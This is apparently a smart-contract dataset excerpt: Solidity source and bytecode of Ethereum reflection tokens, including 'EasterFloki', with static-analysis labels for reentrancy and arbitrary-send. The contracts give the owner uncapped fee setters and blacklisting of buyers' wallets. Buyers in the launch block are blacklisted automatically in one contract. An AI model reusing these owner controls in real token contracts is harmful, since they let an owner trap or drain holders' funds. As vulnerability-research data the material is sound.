_rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101e75760003560e01c80636fc3eaec116101025780638da5cb5b11610095578063c552849011610064578063c552849014610595578063dd62ed3e146105b5578063ea1644d5146105fb578063f2fde38b1461061b57600080fd5b80638da5cb5b146105115780638f9a55c01461052f57806395d89b4114610545578063a9059cbb1461057557600080fd5b8063790ca413116100d1578063790ca413146104b05780637c519ffb146104c65780637d1db4a5146104db578063881dce60146104f157600080fd5b80636fc3eaec1461044657806370a082311461045b578063715018a61461047b57806374010ece1461049057600080fd5b80632fd689e31161017a57806349bd5a5e1161014957806349bd5a5e146103c65780634bf2c7c9146103e65780635d098b38146104065780636d8aa8f81461042657600080fd5b80632fd689e314610354578063313ce5671461036a57806333251a0b1461038657806338eea22d146103a657600080fd5b806318160ddd116101b657806318160ddd146102d657806323b872dd146102fc57806327c8f8351461031c57806328bb665a1461033257600080fd5b806306fdde03146101f3578063095ea7b3146102355780630f3a325f146102655780631694505e1461029e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b506040805180820190915260078152660a6dcdee4d8c2f60cb1b60208201525b60405161022c9190611d44565b60405180910390f35b34801561024157600080fd5b50610255610250366004611bef565b61063b565b604051901515815260200161022c565b34801561027157600080fd5b50610255610280366004611b3b565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102aa57600080fd5b506016546102be906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b3480156102e257600080fd5b50683635c9adc5dea000005b60405190815260200161022c565b34801561030857600080fd5b50610255610317366004611bae565b610652565b34801561032857600080fd5b506102be61dead81565b34801561033e57600080fd5b5061035261034d366004611c1b565b6106bb565b005b34801561036057600080fd5b506102ee601a5481565b34801561037657600080fd5b506040516009815260200161022c565b34801561039257600080fd5b506103526103a1366004611b3b565b61075a565b3480156103b257600080fd5b506103526103c1366004611d22565b6107c9565b3480156103d257600080fd5b506017546102be906001600160a01b031681565b3480156103f257600080fd5b50610352610401366004611d09565b6107fe565b34801561041257600080fd5b50610352610421366004611b3b565b61082d565b34801561043257600080fd5b50610352610441366004611ce7565b610887565b34801561045257600080fd5b506103526108cf565b34801561046757600080fd5b506102ee610476366004611b3b565b6108f9565b34801561048757600080fd5b5061035261091b565b34801561049c57600080fd5b506103526104ab366004611d09565b61098f565b3480156104bc57600080fd5b506102ee600a5481565b3480156104d257600080fd5b506103526109be565b3480156104e757600080fd5b506102ee60185481565b3480156104fd57600080fd5b5061035261050c366004611d09565b610a18565b34801561051d57600080fd5b506000546001600160a01b03166102be565b34801561053b57600080fd5b506102ee60195481565b34801561055157600080fd5b506040805180820190915260078152660a69c9ea49882b60cb1b602082015261021f565b34801561058157600080fd5b50610255610590366004611bef565b610a94565b3480156105a157600080fd5b506103526105b0366004611d22565b610aa1565b3480156105c157600080fd5b506102ee6105d0366004611b75565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561060757600080fd5b50610352610616366004611d09565b610ad6565b34801561062757600080fd5b50610352610636366004611b3b565b610b14565b6000610648338484610bfe565b5060015b92915050565b600061065f848484610d22565b6106b184336106ac85604051806060016040528060288152602001611f49602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906113ce565b610bfe565b5060019392505050565b6000546001600160a01b031633146106ee5760405162461bcd60e51b81526004016106e590611d99565b60405180910390fd5b60005b81518110156107565760016009600084848151811061071257610712611f07565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061074e81611ed6565b9150506106f1565b5050565b6000546001600160a01b031633146107845760405162461bcd60e51b81526004016106e590611d99565b6001600160a01b03811660009081526009602052604090205460ff16156107c6576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146107f35760405162461bcd60e51b81526004016106e590611d99565b600b91909155600d55565b6000546001600160a01b031633146108285760405162461bcd60e51b81526004016106e590611d99565b601155565b6015546001600160a01b0316336001600160a01b03161461084d57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016106e590611d99565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b0316146108ef57600080fd5b476107c681611408565b6001600160a01b03811660009081526002602052604081205461064c90611442565b6000546001600160a01b031633146109455760405162461bcd60e51b81526004016106e590611d99565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109b95760405162461bcd60e51b81526004016106e590611d99565b601855565b6000546001600160a01b031633146109e85760405162461bcd60e51b81526004016106e590611d99565b601754600160a01b900460ff16156109ff57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a3857600080fd5b610a41306108f9565b8111158015610a505750600081115b610a8b5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016106e5565b6107c6816114c6565b6000610648338484610d22565b6000546001600160a01b03163314610acb5760405162461bcd60e51b81526004016106e590611d99565b600c91909155600e55565b6000546001600160a01b03163314610b005760405162461bcd60e51b81526004016106e590611d99565b601954811015610b0f57600080fd5b601955565b6000546001600160a01b03163314610b3e5760405162461bcd60e51b81526004016106e590611d99565b6001600160a01b038116610ba35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106e5565b6001600160a01b038216610cc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106e5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106e5565b6001600160a01b038216610de85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106e5565b60008111610e4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106e5565b6001600160a01b03821660009081526009602052604090205460ff1615610e835760405162461bcd60e51b81526004016106e590611dce565b6001600160a01b03831660009081526009602052604090205460ff1615610ebc5760405162461bcd60e51b81526004016106e590611dce565b3360009081526009602052604090205460ff1615610eec5760405162461bcd60e51b81526004016106e590611dce565b6000546001600160a01b03848116911614801590610f1857506000546001600160a01b03838116911614155b1561127857601754600160a01b900460ff16610f765760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016106e5565b6017546001600160a01b038381169116148015610fa157506016546001600160a01b03848116911614155b15611053576001600160a01b0382163014801590610fc857506001600160a01b0383163014155b8015610fe257506015546001600160a01b03838116911614155b8015610ffc57506015546001600160a01b03848116911614155b15611053576018548111156110535760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106e5565b6017546001600160a01b0383811691161480159061107f57506015546001600160a01b03838116911614155b801561109457506001600160a01b0382163014155b80156110ab57506001600160a01b03821661dead14155b15611172576018548111156111025760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106e5565b6019548161110f846108f9565b6111199190611e66565b106111725760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106e5565b600061117d306108f9565b601a54909150811180801561119c5750601754600160a81b900460ff16155b80156111b657506017546001600160a01b03868116911614155b80156111cb5750601754600160b01b900460ff165b80156111f057506001600160a01b03851660009081526006602052604090205460ff16155b801561121557506001600160a01b03841660009081526006602052604090205460ff16155b15611275576011546000901561125057611245606461123f6011548661164f90919063ffffffff16565b906116ce565b905061125081611710565b61126261125d8285611ebf565b6114c6565b4780156112725761127247611408565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806112ba57506001600160a01b03831660009081526006602052604090205460ff165b806112ec57506017546001600160a01b038581169116148015906112ec57506017546001600160a01b03848116911614155b156112f9575060006113bc565b6017546001600160a01b03858116911614801561132457506016546001600160a01b03848116911614155b1561137f576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a54141561137f576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156113aa57506016546001600160a01b03858116911614155b156113bc57600d54600f55600e546010555b6113c88484848461171d565b50505050565b600081848411156113f25760405162461bcd60e51b81526004016106e59190611d44565b5060006113ff8486611ebf565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610756573d6000803e3d6000fd5b60006007548211156114a95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106e5565b60006114b3611751565b90506114bf83826116ce565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150e5761150e611f07565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561156257600080fd5b505afa158015611576573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159a9190611b58565b816001815181106115ad576115ad611f07565b6001600160a01b0392831660209182029290920101526016546115d39130911684610bfe565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061160c908590600090869030904290600401611df5565b600060405180830381600087803b15801561162657600080fd5b505af115801561163a573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008261165e5750600061064c565b600061166a8385611ea0565b9050826116778583611e7e565b146114bf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106e5565b60006114bf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611774565b6107c63061dead83610d22565b8061172a5761172a6117a2565b6117358484846117e7565b806113c8576113c8601254600f55601354601055601454601155565b600080600061175e6118de565b909250905061176d82826116ce565b9250505090565b600081836117955760405162461bcd60e51b81526004016106e59190611d44565b5060006113ff8486611e7e565b600f541580156117b25750601054155b80156117be5750601154155b156117c557565b600f805460125560108054601355601180546014556000928390559082905555565b6000806000806000806117f987611920565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061182b908761197d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461185a90866119bf565b6001600160a01b03891660009081526002602052604090205561187c81611a1e565b6118868483611a68565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118cb91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006118fa82826116ce565b82101561191757505060075492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061193d8a600f54601054611a8c565b925092509250600061194d611751565b905060008060006119608e878787611adb565b919e509c509a509598509396509194505050505091939550919395565b60006114bf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ce565b6000806119cc8385611e66565b9050838110156114bf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106e5565b6000611a28611751565b90506000611a36838361164f565b30600090815260026020526040902054909150611a5390826119bf565b30600090815260026020526040902055505050565b600754611a75908361197d565b600755600854611a8590826119bf565b6008555050565b6000808080611aa0606461123f898961164f565b90506000611ab3606461123f8a8961164f565b90506000611acb82611ac58b8661197d565b9061197d565b9992985090965090945050505050565b6000808080611aea888661164f565b90506000611af8888761164f565b90506000611b06888861164f565b90506000611b1882611ac5868661197d565b939b939a50919850919650505050505050565b8035611b3681611f33565b919050565b600060208284031215611b4d57600080fd5b81356114bf81611f33565b600060208284031215611b6a57600080fd5b81516114bf81611f33565b60008060408385031215611b8857600080fd5b8235611b9381611f33565b91506020830135611ba381611f33565b809150509250929050565b600080600060608486031215611bc357600080fd5b8335611bce81611f33565b92506020840135611bde81611f33565b929592945050506040919091013590565b60008060408385031215611c0257600080fd5b8235611c0d81611f33565b946020939093013593505050565b60006020808385031215611c2e57600080fd5b823567ffffffffffffffff80821115611c4657600080fd5b818501915085601f830112611c5a57600080fd5b813581811115611c6c57611c6c611f1d565b8060051b604051601f19603f83011681018181108582111715611c9157611c91611f1d565b604052828152858101935084860182860187018a1015611cb057600080fd5b600095505b83861015611cda57611cc681611b2b565b855260019590950194938601938601611cb5565b5098975050505050505050565b600060208284031215611cf957600080fd5b813580151581146114bf57600080fd5b600060208284031215611d1b57600080fd5b5035919050565b60008060408385031215611d3557600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611d7157858101830151858201604001528201611d55565b81811115611d83576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e455784516001600160a01b031683529383019391830191600101611e20565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e7957611e79611ef1565b500190565b600082611e9b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611eba57611eba611ef1565b500290565b600082821015611ed157611ed1611ef1565b500390565b6000600019821415611eea57611eea611ef1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122060a9b29499a51a7020f48c0e59a1dc10bfbaf791d60592b09a7cb7789181558c64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,226
0x50dd9c3c74ee6f8d9a340b3d9ba56d7e5d9839f0
/** *Submitted for verification at Etherscan.io on 2022-04-17 */ /** Telegram: https://t.me/EasterFlokiERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EasterFloki is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "EasterFloki"; string private constant _symbol = "EFLOKI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x0D19D00353C7B68888d17a688F3324CfC42D21E0); address payable private _marketingAddress = payable(0x0D19D00353C7B68888d17a688F3324CfC42D21E0); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101ba5760003560e01c80637d1db4a5116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f04614610502578063dd62ed3e14610522578063ea1644d514610568578063f2fde38b1461058857600080fd5b8063a9059cbb1461049d578063bfd79284146104bd578063c3c8cd80146104ed57600080fd5b80638f70ccf7116100c65780638f70ccf7146104185780638f9a55c01461043857806395d89b411461044e57806398a5c3151461047d57600080fd5b80637d1db4a5146103b75780637f2feddc146103cd5780638da5cb5b146103fa57600080fd5b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f81461034d5780636fc3eaec1461036d57806370a0823114610382578063715018a6146103a257600080fd5b8063313ce567146102f157806349bd5a5e1461030d5780636b9990531461032d57600080fd5b80631694505e116101955780631694505e1461025e57806318160ddd1461029657806323b872dd146102bb5780632fd689e3146102db57600080fd5b8062b8cf2a146101c657806306fdde03146101e8578063095ea7b31461022e57600080fd5b366101c157005b600080fd5b3480156101d257600080fd5b506101e66101e136600461189f565b6105a8565b005b3480156101f457600080fd5b5060408051808201909152600b81526a456173746572466c6f6b6960a81b60208201525b6040516102259190611964565b60405180910390f35b34801561023a57600080fd5b5061024e6102493660046119b9565b610647565b6040519015158152602001610225565b34801561026a57600080fd5b5060145461027e906001600160a01b031681565b6040516001600160a01b039091168152602001610225565b3480156102a257600080fd5b50670de0b6b3a76400005b604051908152602001610225565b3480156102c757600080fd5b5061024e6102d63660046119e5565b61065e565b3480156102e757600080fd5b506102ad60185481565b3480156102fd57600080fd5b5060405160098152602001610225565b34801561031957600080fd5b5060155461027e906001600160a01b031681565b34801561033957600080fd5b506101e6610348366004611a26565b6106c7565b34801561035957600080fd5b506101e6610368366004611a53565b610712565b348015610